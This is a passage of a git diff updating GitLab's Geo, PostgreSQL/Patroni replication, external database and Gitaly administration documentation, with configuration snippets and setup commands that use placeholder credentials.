issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6076). + +The workaround is to manually run the preflight checks and promote the database, by running +the following commands on the Geo secondary site: + +```shell +sudo gitlab-ctl promotion-preflight-checks +sudo /opt/gitlab/embedded/bin/gitlab-pg-ctl promote +sudo gitlab-ctl reconfigure +sudo gitlab-rake geo:set_secondary_as_primary + ## Expired artifacts If you notice for some reason there are more artifacts on the Geo @@ -854,6 +820,11 @@ To resolve this issue: the **primary** node using IPv4 in the `/etc/hosts` file. Alternatively, you should [enable IPv6 on the **primary** node](https://docs.gitlab.com/omnibus/settings/nginx.html#setting-the-nginx-listen-address-or-addresses). +### Geo Admin Area shows 'Unknown' for health status and 'Request failed with status code 401' + +If using a load balancer, ensure that the load balancer's URL is set as the `external_url` in the +`/etc/gitlab/gitlab.rb` of the nodes behind the load balancer. + ### GitLab Pages return 404 errors after promoting This is due to [Pages data not being managed by Geo](datatypes.md#limitations-on-replicationverification). diff --git a/doc/administration/geo/replication/using_a_geo_server.md b/doc/administration/geo/replication/using_a_geo_server.md index f8ce72ac3f8..04c30514a89 100644 --- a/doc/administration/geo/replication/using_a_geo_server.md +++ b/doc/administration/geo/replication/using_a_geo_server.md @@ -1,5 +1,6 @@ --- redirect_to: '../../geo/replication/usage.md' +remove_date: '2022-06-01' --- This document was moved to [another location](../../geo/replication/usage.md). diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md index 4a101c52325..301be931b29 100644 --- a/doc/administration/geo/replication/version_specific_updates.md +++ b/doc/administration/geo/replication/version_specific_updates.md @@ -11,6 +11,10 @@ Review this page for update instructions for your version. These steps accompany the [general steps](updating_the_geo_nodes.md#general-update-steps) for updating Geo nodes. +## Updating to GitLab 13.11 + +We found an [issue with Git clone/pull through HTTP(s)](https://gitlab.com/gitlab-org/gitlab/-/issues/330787) on Geo secondaries and on any GitLab instance if maintenance mode is enabled. This was caused by a regression in GitLab Workhorse. This is fixed in the [GitLab 13.11.4 patch release](https://about.gitlab.com/releases/2021/05/14/gitlab-13-11-4-released/). To avoid this issue, upgrade to GitLab 13.11.4 or later. + ## Updating to GitLab 13.9 We've detected an issue [with a column rename](https://gitlab.com/gitlab-org/gitlab/-/issues/324160) @@ -78,6 +82,12 @@ paused fails. Do not pause replication before promoting a secondary. If the node is paused, be sure to resume before promoting. To avoid this issue, upgrade to GitLab 13.4 or later. +WARNING: +Promoting the database during a failover can fail on XFS and filesystems ordering files lexically, +when using `--force` or `--skip-preflight-checks`, due to [an issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6076) fixed in 13.5. +The [troubleshooting steps](troubleshooting.md#errors-when-using---skip-preflight-checks-or---force) +contain a workaround if you run into errors during the failover. + ## Updating to GitLab 13.2 In GitLab 13.2, promoting a secondary node to a primary while the secondary is diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md index b87a606e349..f6e72092a5f 100644 --- a/doc/administration/geo/setup/database.md +++ b/doc/administration/geo/setup/database.md @@ -9,7 +9,7 @@ type: howto NOTE: If your GitLab installation uses external (not managed by Omnibus) PostgreSQL -instances, the Omnibus roles will not be able to perform all necessary +instances, the Omnibus roles are unable to perform all necessary configuration steps. In this case, [follow the Geo with external PostgreSQL instances document instead](external_database.md). @@ -25,10 +25,23 @@ size. You are encouraged to first read through all the steps before executing them in your testing/production environment. -## PostgreSQL replication +## Single instance database replication -The GitLab **primary** node where the write operations happen will connect to -the **primary** database server, and **secondary** nodes will +A single instance database replication is easier to set up and still provides the same Geo capabilities +as a clusterized alternative. It's useful for setups running on a single machine +or trying to evaluate Geo for a future clusterized installation. + +A single instance can be expanded to a clusterized version using Patroni, which is recommended for a +highly available architecture. + +Follow below the instructions on how to set up PostgreSQL replication as a single instance database. +Alternatively, you can look at the [Multi-node database replication](#multi-node-database-replication) +instructions on setting up replication with a Patroni cluster. + +### PostgreSQL replication + +The GitLab **primary** node where the write operations happen connects to +the **primary** database server, and **secondary** nodes connect to their own database servers (which are also read-only). We recommend using [PostgreSQL replication slots](https://medium.com/@tk512/replication-slots-in-postgresql-b4b03d277c75) @@ -37,8 +50,8 @@ recover. See below for more details. The following guide assumes that: -- You are using Omnibus and therefore you are using PostgreSQL 11 or later - which includes the [`pg_basebackup` tool](https://www.postgresql.org/docs/11/app-pgbasebackup.html). +- You are using Omnibus and therefore you are using PostgreSQL 12 or later + which includes the [`pg_basebackup` tool](https://www.postgresql.org/docs/12/app-pgbasebackup.html). - You have a **primary** node already set up (the GitLab server you are replicating from), running Omnibus' PostgreSQL (or equivalent version), and you have a new **secondary** server set up with the same versions of the OS, @@ -48,7 +61,7 @@ WARNING: Geo works with streaming replication. Logical replication is not supported at this time. There is an [issue where support is being discussed](https://gitlab.com/gitlab-org/gitlab/-/issues/7420). -### Step 1. Configure the **primary** server +#### Step 1. Configure the **primary** server 1. SSH into your GitLab **primary** server and login as root: @@ -75,13 +88,9 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o gitlab-ctl set-geo-primary-node ``` - This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`. - -1. GitLab 10.4 and up only: Do the following to make sure the `gitlab` database user has a password defined: + This command uses your defined `external_url` in `/etc/gitlab/gitlab.rb`. - NOTE: - Until FDW settings are removed in GitLab version 14.0, avoid using single or double quotes in the - password for PostgreSQL as that will lead to errors when reconfiguring. +1. Define a password for the `gitlab` database user: Generate a MD5 hash of the desired password: @@ -103,18 +112,28 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o # must be present in all application nodes. gitlab_rails['db_password'] = '<your_password_here>' ``` + +1. Define a password for the database [replication user](https://wiki.postgresql.org/wiki/Streaming_Replication). -1. Omnibus GitLab already has a [replication user](https://wiki.postgresql.org/wiki/Streaming_Replication) - called `gitlab_replicator`. You must set the password for this user manually. - You will be prompted to enter a password: + We will use the username defined in `/etc/gitlab/gitlab.rb` under the `postgresql['sql_replication_user']` + setting. The default value is `gitlab_replicator`, but if you changed it to something else, adapt + the instructions below. + + Generate a MD5 hash of the desired password: ```shell - gitlab-ctl set-replication-password + gitlab-ctl pg-password-md5 gitlab_replicator + # Enter password: <your_password_here> + # Confirm password: <your_password_here> + # 950233c0dfc2f39c64cf30457c3b7f1e ``` - This command will also read the `postgresql['sql_replication_user']` Omnibus - setting in case you have changed `gitlab_replicator` username to something - else. + Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + # Fill with the hash generated by `gitlab-ctl pg-password-md5 gitlab_replicator` + postgresql['sql_replication_password'] = '<md5_hash_of_your_password>' + ``` If you are using an external database not managed by Omnibus GitLab, you need to create the replicator user and define a password to it manually: @@ -154,7 +173,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o echo "External address: $(curl --silent "ipinfo.io/ip")" ``` - In most cases, the following addresses will be used to configure GitLab + In most cases, the following addresses are used to configure GitLab Geo: | Configuration | Address | @@ -168,11 +187,11 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o `postgresql['md5_auth_cidr_addresses']` and `postgresql['listen_address']`. The `listen_address` option opens PostgreSQL up to network connections with the interface - corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/11/runtime-config-connection.html) + corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/12/runtime-config-connection.html) for more details. NOTE: - If you need to use `0.0.0.0` or `*` as the listen_address, you will also need to add + If you need to use `0.0.0.0` or `*` as the listen_address, you also need to add `127.0.0.1/32` to the `postgresql['md5_auth_cidr_addresses']` setting, to allow Rails to connect through `127.0.0.1`. For more information, see [omnibus-5258](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5258). @@ -190,7 +209,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o ## Geo Primary role ## - configure dependent flags automatically to enable Geo ## - roles ['geo_primary_role'] + roles(['geo_primary_role']) ## ## Primary address @@ -226,7 +245,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o ``` You may also want to edit the `wal_keep_segments` and `max_wal_senders` to match your - database replication requirements. Consult the [PostgreSQL - Replication documentation](https://www.postgresql.org/docs/11/runtime-config-replication.html) + database replication requirements. Consult the [PostgreSQL - Replication documentation](https://www.postgresql.org/docs/12/runtime-config-replication.html) for more information. 1. Save the file and reconfigure GitLab for the database listen changes and @@ -262,7 +281,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o `5432` to the **primary** server's private address. 1. A certificate was automatically generated when GitLab was reconfigured. This - will be used automatically to protect your PostgreSQL traffic from + is used automatically to protect your PostgreSQL traffic from eavesdroppers, but to protect against active ("man-in-the-middle") attackers, the **secondary** node needs a copy of the certificate. Make a copy of the PostgreSQL `server.crt` file on the **primary** node by running this command: @@ -272,10 +291,10 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o ``` Copy the output into a clipboard or into a local file. You - will need it when setting up the **secondary** node! The certificate is not sensitive + need it when setting up the **secondary** node! The certificate is not sensitive data. -### Step 2. Configure the **secondary** server +#### Step 2. Configure the **secondary** server 1. SSH into your GitLab **secondary** server and login as root: @@ -325,7 +344,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o -T server.crt ~gitlab-psql/.postgresql/root.crt ``` - PostgreSQL will now only recognize that exact certificate when verifying TLS + PostgreSQL now only recognizes that exact certificate when verifying TLS connections. The certificate can only be replicated by someone with access to the private key, which is **only** present on the **primary** node. @@ -363,7 +382,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o ## Geo Secondary role ## - configure dependent flags automatically to enable Geo ## - roles ['geo_secondary_role'] + roles(['geo_secondary_role']) ## ## Secondary address @@ -376,12 +395,13 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o ## Database credentials password (defined previously in primary node) ## - replicate same values here as defined in primary node ## + postgresql['sql_replication_password'] = '<md5_hash_of_your_password>' postgresql['sql_user_password'] = '<md5_hash_of_your_password>' gitlab_rails['db_password'] = '<your_password_here>' ``` For external PostgreSQL instances, see [additional instructions](external_database.md). - If you bring a former **primary** node back online to serve as a **secondary** node, then you also need to remove `roles ['geo_primary_role']` or `geo_primary_role['enable'] = true`. + If you bring a former **primary** node back online to serve as a **secondary** node, then you also need to remove `roles(['geo_primary_role'])` or `geo_primary_role['enable'] = true`. 1. Reconfigure GitLab for the changes to take effect: @@ -395,7 +415,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o gitlab-ctl restart postgresql ``` -### Step 3. Initiate the replication process +#### Step 3. Initiate the replication process Below we provide a script that connects the database on the **secondary** node to the database on the **primary** node, replicates the database, and creates the @@ -423,7 +443,7 @@ data before running `pg_basebackup`. WARNING: Each Geo **secondary** node must have its own unique replication slot name. - Using the same slot name between two secondaries will break PostgreSQL replication. + Using the same slot name between two secondaries breaks PostgreSQL replication. ```shell gitlab-ctl replicate-geo-database \ @@ -441,57 +461,57 @@ data before running `pg_basebackup`. to list them all, but here are a couple of tips: - If PostgreSQL is listening on a non-standard port, add `--port=` as well. - - If your database is too large to be transferred in 30 minutes, you will need + - If your database is too large to be transferred in 30 minutes, you need to increase the timeout, e.g., `--backup-timeout=3600` if you expect the initial replication to take under an hour. - Pass `--sslmode=disable` to skip PostgreSQL TLS authentication altogether (e.g., you know the network path is secure, or you are using a site-to-site VPN). This is **not** safe over the public Internet! - You can read more details about each `sslmode` in the - [PostgreSQL documentation](https://www.postgresql.org/docs/11/libpq-ssl.html#LIBPQ-SSL-PROTECTION); + [PostgreSQL documentation](https://www.postgresql.org/docs/12/libpq-ssl.html#LIBPQ-SSL-PROTECTION); the instructions above are carefully written to ensure protection against both passive eavesdroppers and active "man-in-the-middle" attackers. - Change the `--slot-name` to the name of the replication slot - to be used on the **primary** database. The script will attempt to create the + to be used on the **primary** database. The script attempts to create the replication slot automatically if it does not exist. - - If you're repurposing an old server into a Geo **secondary** node, you'll need to + - If you're repurposing an old server into a Geo **secondary** node, you need to add `--force` to the command line. - When not in a production machine you can disable backup step if you really sure this is what you want by adding `--skip-backup` The replication process is now complete. -## PgBouncer support (optional) +### PgBouncer support (optional) [PgBouncer](https://www.pgbouncer.org/) may be used with GitLab Geo to pool -PostgreSQL connections. We recommend using PgBouncer if you use GitLab in a -high-availability configuration with a cluster of nodes supporting a Geo -**primary** site and two other clusters of nodes supporting a Geo **secondary** site. -One for the main database and the other for the tracking database. For more information, +PostgreSQL connections, which can improve performance even when using in a +single instance installation. + +We recommend using PgBouncer if you use GitLab in a highly available +configuration with a cluster of nodes supporting a Geo **primary** site and +two other clusters of nodes supporting a Geo **secondary** site. One for the +main database and the other for the tracking database. For more information, see [High Availability with Omnibus GitLab](../../postgresql/replication_and_failover.md). -## Patroni support +## Multi-node database replication -Support for Patroni is intended to replace `repmgr` as a -[highly available PostgreSQL solution](../../postgresql/replication_and_failover.md) -on the primary node, but it can also be used for PostgreSQL HA on a secondary -site. Similar to `repmgr`, using Patroni on a secondary node is optional. +In GitLab 14.0, Patroni replaced `repmgr` as the supported +[highly available PostgreSQL solution](../../postgresql/replication_and_failover.md). -Starting with GitLab 13.5, Patroni is available for _experimental_ use with Geo -primary and secondary sites. Due to its experimental nature, Patroni support is -subject to change without notice. +NOTE: +If you still haven't [migrated from repmgr to Patroni](#migrating-from-repmgr-to-patroni) you're highly advised to do so. -This experimental implementation has the following limitations: +### Patroni support -- Whenever `gitlab-ctl reconfigure` runs on a Patroni Leader instance, there's a - chance the node will be demoted due to the required short-time restart. To - avoid this, you can pause auto-failover by running `gitlab-ctl patroni pause`. - After a reconfigure, it resumes on its own. +Patroni is the official replication management solution for Geo. It +can be used to build a highly available cluster on the **primary** and a **secondary** Geo site. +Using Patroni on a **secondary** site is optional and you don't have to use the same amount of +nodes on each Geo site. For instructions about how to set up Patroni on the primary site, see the [PostgreSQL replication and failover with Omnibus GitLab](../../postgresql/replication_and_failover.md#patroni) page. -### Configuring Patroni cluster for a Geo secondary site +#### Configuring Patroni cluster for a Geo secondary site In a Geo secondary site, the main PostgreSQL database is a read-only replica of the primary site’s PostgreSQL database. @@ -503,7 +523,7 @@ configuration for the secondary site. The internal load balancer provides a sing endpoint for connecting to the Patroni cluster's leader whenever a new leader is elected. Be sure to use [password credentials](../../postgresql/replication_and_failover.md#database-authorization-for-patroni) and other database best practices. -#### Step 1. Configure Patroni permanent replication slot on the primary site +##### Step 1. Configure Patroni permanent replication slot on the primary site To set up database replication with Patroni on a secondary node, we need to configure a _permanent replication slot_ on the primary node's Patroni cluster, @@ -521,16 +541,16 @@ Leader instance**: 1. Edit `/etc/gitlab/gitlab.rb` and add the following: ```ruby - consul['enable'] = true + roles(['patroni_role']) + + consul['services'] = %w(postgresql) consul['configuration'] = { retry_join: %w[CONSUL_PRIMARY1_IP CONSUL_PRIMARY2_IP CONSUL_PRIMARY3_IP] } - - repmgr['enable'] = false - + # You need one entry for each secondary, with a unique name following PostgreSQL slot_name constraints: # - # Configuration syntax will be: 'unique_slotname' => { 'type' => 'physical' }, + # Configuration syntax is: 'unique_slotname' => { 'type' => 'physical' }, # We don't support setting a permanent replication slot for logical replication type patroni['replication_slots'] = { 'geo_secondary' => { 'type' => 'physical' } @@ -539,15 +559,18 @@ Leader instance**: patroni['use_pg_rewind'] = true patroni['postgresql']['max_wal_senders'] = 8 # Use double of the amount of patroni/reserved slots (3 patronis + 1 reserved slot for a Geo secondary). patroni['postgresql']['max_replication_slots'] = 8 # Use double of the amount of patroni/reserved slots (3 patronis + 1 reserved slot for a Geo secondary). + patroni['replication_password'] = 'PLAIN_TEXT_POSTGRESQL_REPLICATION_PASSWORD' - postgresql['md5_auth_cidr_addresses'] = [ - 'PATRONI_PRIMARY1_IP/32', 'PATRONI_PRIMARY2_IP/32', 'PATRONI_PRIMARY3_IP/32', 'PATRONI_PRIMARY_PGBOUNCER/32', - 'PATRONI_SECONDARY1_IP/32', 'PATRONI_SECONDARY2_IP/32', 'PATRONI_SECONDARY3_IP/32', 'PATRONI_SECONDARY_PGBOUNCER/32' # We list all secondary instances as they can all become a Standby Leader + # We list all secondary instances as they can all become a Standby Leader + postgresql['md5_auth_cidr_addresses'] = %w[ + PATRONI_PRIMARY1_IP/32 PATRONI_PRIMARY2_IP/32 PATRONI_PRIMARY3_IP/32 PATRONI_PRIMARY_PGBOUNCER/32 + PATRONI_SECONDARY1_IP/32 PATRONI_SECONDARY2_IP/32 PATRONI_SECONDARY3_IP/32 PATRONI_SECONDARY_PGBOUNCER/32 ] postgresql['pgbouncer_user_password'] = 'PGBOUNCER_PASSWORD_HASH' postgresql['sql_replication_password'] = 'POSTGRESQL_REPLICATION_PASSWORD_HASH' postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH' + postgresql['listen_address'] = '0.0.0.0' # You can use a public or VPC address here instead ``` 1. Reconfigure GitLab for the changes to take effect: @@ -556,17 +579,17 @@ Leader instance**: gitlab-ctl reconfigure ``` -#### Step 2. Configure the internal load balancer on the primary site +##### Step 2. Configure the internal load balancer on the primary site To avoid reconfiguring the Standby Leader on the secondary site whenever a new -Leader is elected on the primary site, we'll need to set up a TCP internal load -balancer which will give a single endpoint for connecting to the Patroni +Leader is elected on the primary site, we need to set up a TCP internal load +balancer which gives a single endpoint for connecting to the Patroni cluster's Leader. The Omnibus GitLab packages do not include a Load Balancer. Here's how you could do it with [HAProxy](https://www.haproxy.org/). -The following IPs and names will be used as an example: +The following IPs and names are used as an example: - `10.6.0.21`: Patroni 1 (`patroni1.internal`) - `10.6.0.21`: Patroni 2 (`patroni2.internal`) @@ -600,7 +623,7 @@ backend postgresql Refer to your preferred Load Balancer's documentation for further guidance. -#### Step 3. Configure a PgBouncer node on the secondary site +##### Step 3. Configure a PgBouncer node on the secondary site A production-ready and highly available configuration requires at least three Consul nodes, a minimum of one PgBouncer node, but it’s recommended to have @@ -621,22 +644,26 @@ Follow the minimal configuration for the PgBouncer node: ```ruby # Disable all components except Pgbouncer and Consul agent - roles ['pgbouncer_role'] + roles(['pgbouncer_role']) # PgBouncer configuration + pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul) pgbouncer['users'] = { + 'gitlab-consul': { + # Generate it with: `gitlab-ctl pg-password-md5 gitlab-consul` + password: 'GITLAB_CONSUL_PASSWORD_HASH' + }, 'pgbouncer': { + # Generate it with: `gitlab-ctl pg-password-md5 pgbouncer` password: 'PGBOUNCER_PASSWORD_HASH' } } # Consul configuration consul['watchers'] = %w(postgresql) - consul['configuration'] = { retry_join: %w[CONSUL_SECONDARY1_IP CONSUL_SECONDARY2_IP CONSUL_SECONDARY3_IP] } - consul['monitoring_service_discovery'] = true ``` @@ -652,17 +679,17 @@ Follow the minimal configuration for the PgBouncer node: gitlab-ctl write-pgpass --host 127.0.0.1 --database pgbouncer --user pgbouncer --hostuser gitlab-consul ``` -1. Restart the PgBouncer service: +1. Reload the PgBouncer service: ```shell - gitlab-ctl restart pgbouncer + gitlab-ctl hup pgbouncer ``` -#### Step 4. Configure a Standby cluster on the secondary site +##### Step 4. Configure a Standby cluster on the secondary site NOTE: If you are converting a secondary site to a Patroni Cluster, you must start -on the PostgreSQL instance. It will become the Patroni Standby Leader instance, +on the PostgreSQL instance. It becomes the Patroni Standby Leader instance, and then you can switchover to another replica if you need. For each Patroni instance on the secondary site: @@ -676,21 +703,18 @@ For each Patroni instance on the secondary site: 1. Edit `/etc/gitlab/gitlab.rb` and add the following: ```ruby - roles ['consul_role', 'postgres_role'] + roles(['consul_role', 'patroni_role']) consul['enable'] = true consul['configuration'] = { retry_join: %w[CONSUL_SECONDARY1_IP CONSUL_SECONDARY2_IP CONSUL_SECONDARY3_IP] } - repmgr['enable'] = false - postgresql['md5_auth_cidr_addresses'] = [ 'PATRONI_SECONDARY1_IP/32', 'PATRONI_SECONDARY2_IP/32', 'PATRONI_SECONDARY3_IP/32', 'PATRONI_SECONDARY_PGBOUNCER/32', # Any other instance that needs access to the database as per documentation ] - patroni['enable'] = false patroni['standby_cluster']['enable'] = true patroni['standby_cluster']['host'] = 'INTERNAL_LOAD_BALANCER_PRIMARY_IP' patroni['standby_cluster']['port'] = INTERNAL_LOAD_BALANCER_PRIMARY_PORT @@ -699,6 +723,15 @@ For each Patroni instance on the secondary site: patroni['use_pg_rewind'] = true patroni['postgresql']['max_wal_senders'] = 5 # A minimum of three for one replica, plus two for each additional replica patroni['postgresql']['max_replication_slots'] = 5 # A minimum of three for one replica, plus two for each additional replica + + postgresql['pgbouncer_user_password'] = 'PGBOUNCER_PASSWORD_HASH' + postgresql['sql_replication_password'] = 'POSTGRESQL_REPLICATION_PASSWORD_HASH' + postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH' + postgresql['listen_address'] = '0.0.0.0' # You can use a public or VPC address here instead + + gitlab_rails['dbpassword'] = 'POSTGRESQL_PASSWORD' + gitlab_rails['enable'] = true + gitlab_rails['auto_migrate'] = false ``` 1. Reconfigure GitLab for the changes to take effect. @@ -708,33 +741,11 @@ For each Patroni instance on the secondary site: gitlab-ctl reconfigure ``` -1. Remove the PostgreSQL data directory: - - WARNING: - If you are converting a secondary site to a Patroni Cluster, you must skip - this step on the PostgreSQL instance. - - ```shell - rm -rf /var/opt/gitlab/postgresql/data - ``` - -1. Edit `/etc/gitlab/gitlab.rb` to enable Patroni: - - ```ruby - patroni['enable'] = true - ``` - -1. Reconfigure GitLab for the changes to take effect: - - ```shell - gitlab-ctl reconfigure - ``` - ### Migrating from repmgr to Patroni 1. Before migrating, it is recommended that there is no replication lag between the primary and secondary sites and that replication is paused. In GitLab 13.2 and later, you can pause and resume replication with `gitlab-ctl geo-replication-pause` and `gitlab-ctl geo-replication-resume` on a Geo secondary database node. 1. Follow the [instructions to migrate repmgr to Patroni](../../postgresql/replication_and_failover.md#switching-from-repmgr-to-patroni). When configuring Patroni on each primary site database node, add `patroni['replication_slots'] = { '<slot_name>' => 'physical' }` -to `gitlab.rb` where `<slot_name>` is the name of the replication slot for your Geo secondary. This will ensure that Patroni recognizes the replication slot as permanent and will not drop it upon restarting. +to `gitlab.rb` where `<slot_name>` is the name of the replication slot for your Geo secondary. This ensures that Patroni recognizes the replication slot as permanent and not drop it upon restarting. 1. If database replication to the secondary was paused before migration, resume replication once Patroni is confirmed working on the primary. ### Migrating a single PostgreSQL node to Patroni @@ -750,14 +761,14 @@ With Patroni it's now possible to support that. In order to migrate the existing 1. [Configure a Standby Cluster](#step-4-configure-a-standby-cluster-on-the-secondary-site) on that single node machine. -You will end up with a "Standby Cluster" with a single node. That allows you to later on add additional Patroni nodes +You end up with a "Standby Cluster" with a single node. That allows you to later on add additional Patroni nodes by following the same instructions above. ### Configuring Patroni cluster for the tracking PostgreSQL database Secondary sites use a separate PostgreSQL installation as a tracking database to keep track of replication status and automatically recover from potential replication issues. -Omnibus automatically configures a tracking database when `roles ['geo_secondary_role']` is set. +Omnibus automatically configures a tracking database when `roles(['geo_secondary_role'])` is set. If you want to run this database in a highly available configuration, follow the instructions below. A production-ready and secure setup requires at least three Consul nodes, three @@ -782,7 +793,7 @@ Follow the minimal configuration for the PgBouncer node for the tracking databas ```ruby # Disable all components except Pgbouncer and Consul agent - roles ['pgbouncer_role'] + roles(['pgbouncer_role']) # PgBouncer configuration pgbouncer['users'] = { @@ -844,7 +855,7 @@ For each Patroni instance on the secondary site for the tracking database: ```ruby # Disable all components except PostgreSQL, Patroni, and Consul - roles ['patroni_role'] + roles(['patroni_role']) # Consul configuration consul['services'] = %w(postgresql) @@ -875,6 +886,7 @@ For each Patroni instance on the secondary site for the tracking database: # GitLab database settings gitlab_rails['db_database'] = 'gitlabhq_geo_production' gitlab_rails['db_username'] = 'gitlab_geo' + gitlab_rails['enable'] = true # Disable automatic database migrations gitlab_rails['auto_migrate'] = false @@ -934,8 +946,8 @@ Patroni implementation on Omnibus that do not allow us to manage two different clusters on the same machine, we recommend setting up a new Patroni cluster for the tracking database by following the same instructions above. -The secondary nodes will backfill the new tracking database, and no data -synchronization will be required. +The secondary nodes backfill the new tracking database, and no data +synchronization is required. ## Troubleshooting diff --git a/doc/administration/geo/setup/external_database.md b/doc/administration/geo/setup/external_database.md index 1b0082687e6..9e187424afa 100644 --- a/doc/administration/geo/setup/external_database.md +++ b/doc/administration/geo/setup/external_database.md @@ -24,11 +24,19 @@ developed and tested. We aim to be compatible with most external sudo -i ``` -1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** ID for your node (arbitrary value): +1. Edit `/etc/gitlab/gitlab.rb` and add: ```ruby - # The unique identifier for the Geo node. - gitlab_rails['geo_node_name'] = '<node_name_here>' + ## + ## Geo Primary role + ## - configure dependent flags automatically to enable Geo + ## + roles ['geo_primary_role'] + + ## + ## The unique identifier for the Geo site. + ## + gitlab_rails['geo_node_name'] = '<geo_site_name_here>' ``` 1. Reconfigure the **primary** node for the change to take effect: @@ -49,7 +57,7 @@ developed and tested. We aim to be compatible with most external To set up an external database, you can either: -- Set up [streaming replication](https://www.postgresql.org/docs/11/warm-standby.html#STREAMING-REPLICATION-SLOTS) yourself (for example AWS RDS, bare metal not managed by Omnibus, etc.). +- Set up [streaming replication](https://www.postgresql.org/docs/12/warm-standby.html#STREAMING-REPLICATION-SLOTS) yourself (for example AWS RDS, bare metal not managed by Omnibus, etc.). - Perform the Omnibus configuration manually as follows. #### Leverage your cloud provider's tools to replicate the primary database @@ -64,8 +72,9 @@ cloud providers: - Amazon RDS - [Creating a Read Replica](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Create) - Azure Database for PostgreSQL - [Create and manage read replicas in Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal) +- Google Cloud SQL - [Creating read replicas](https://cloud.google.com/sql/docs/postgres/replication/create-replica) -Once your read-only replica is set up, you can skip to [configure you secondary application node](#configure-secondary-application-nodes-to-use-the-external-read-replica). +Once your read-only replica is set up, you can skip to [configure your secondary application node](#configure-secondary-application-nodes-to-use-the-external-read-replica). #### Manually configure the primary database for replication @@ -182,9 +191,12 @@ to grant additional roles to your tracking database user (by default, this is - Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role. - Azure Database for PostgreSQL requires the [`azure_pg_admin`](https://docs.microsoft.com/en-us/azure/postgresql/howto-create-users#how-to-create-additional-admin-users-in-azure-database-for-postgresql) role. +- Google Cloud SQL requires the [`cloudsqlsuperuser`](https://cloud.google.com/sql/docs/postgres/users#default-users) role. -If you have an external database ready to be used as the tracking database, -follow the instructions below to use it: +This is for the installation of extensions during installation and upgrades. As an alternative, +[ensure the extensions are installed manually, and read about the problems that may arise during future GitLab upgrades](../../../install/postgresql_extensions.md). + +To setup an external tracking database, follow the instructions below: NOTE: If you want to use AWS RDS as a tracking database, make sure it has access to @@ -193,8 +205,12 @@ outbound rules do not apply to RDS PostgreSQL databases. Therefore, you need to rule to the read-replica's security group allowing any TCP traffic from the tracking database on port 5432. -1. Ensure that your secondary node can communicate with your tracking database by - manually changing the `pg_hba.conf` that is associated with your tracking database. +1. Set up PostgreSQL according to the + [database requirements document](../../../install/requirements.md#database). +1. Set up a `gitlab_geo` user with a password of your choice, create the `gitlabhq_geo_production` database, and make the user an owner of the database. You can see an example of this setup in the [installation from source documentation](../../../install/installation.md#6-database). +1. If you are **not** using a cloud-managed PostgreSQL database, ensure that your secondary + node can communicate with your tracking database by manually changing the + `pg_hba.conf` that is associated with your tracking database. Remember to restart PostgreSQL afterwards for the changes to take effect: ```plaintext @@ -226,9 +242,14 @@ the tracking database on port 5432. 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) -1. Run the tracking database migrations: +1. The reconfigure should automatically create the database. If needed, you can perform this task manually. Note that this task (whether run by itself or during reconfigure) requires the database user to be a superuser. ```shell gitlab-rake geo:db:create + ``` + +1. The reconfigure should automatically migrate the database. You can migrate the database manually if needed, for example if `gitlab_rails['auto_migrate'] = false`: + + ```shell gitlab-rake geo:db:migrate ``` diff --git a/doc/administration/git_annex.md b/doc/administration/git_annex.md index 741b2a78b85..d7fb8a37b9c 100644 --- a/doc/administration/git_annex.md +++ b/doc/administration/git_annex.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-07-22' --- This document was moved to [another location](index.md). diff --git a/doc/administration/gitaly/configure_gitaly.md b/doc/administration/gitaly/configure_gitaly.md index c9b6fd4c510..0b22df5a115 100644 --- a/doc/administration/gitaly/configure_gitaly.md +++ b/doc/administration/gitaly/configure_gitaly.md @@ -82,7 +82,7 @@ The following list depicts the network architecture of Gitaly: - Gitaly addresses must be specified in such a way that they resolve correctly for **all** Gitaly clients. - Gitaly clients are: - - Puma or Unicorn. + - Puma. - Sidekiq. - GitLab Workhorse. - GitLab Shell. @@ -247,7 +247,6 @@ disable enforcement. For more information, see the documentation on configuring # node_exporter['enable'] = false # Prevent database connections during 'gitlab-ctl reconfigure' - gitlab_rails['rake_cache_clear'] = false gitlab_rails['auto_migrate'] = false # Configure the gitlab-shell API callback URL. Without this, `git push` will diff --git a/doc/administration/gitaly/faq.md b/doc/administration/gitaly/faq.md new file mode 100644 index 00000000000..98a90925d32 --- /dev/null +++ b/doc/administration/gitaly/faq.md @@ -0,0 +1,90 @@ +--- +stage: Create +group: Gitaly +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# Frequently asked questions **(FREE SELF)** + +The following are answers to frequently asked questions about Gitaly and Gitaly Cluster. + +## How does Gitaly Cluster compare to Geo? + +Gitaly Cluster and 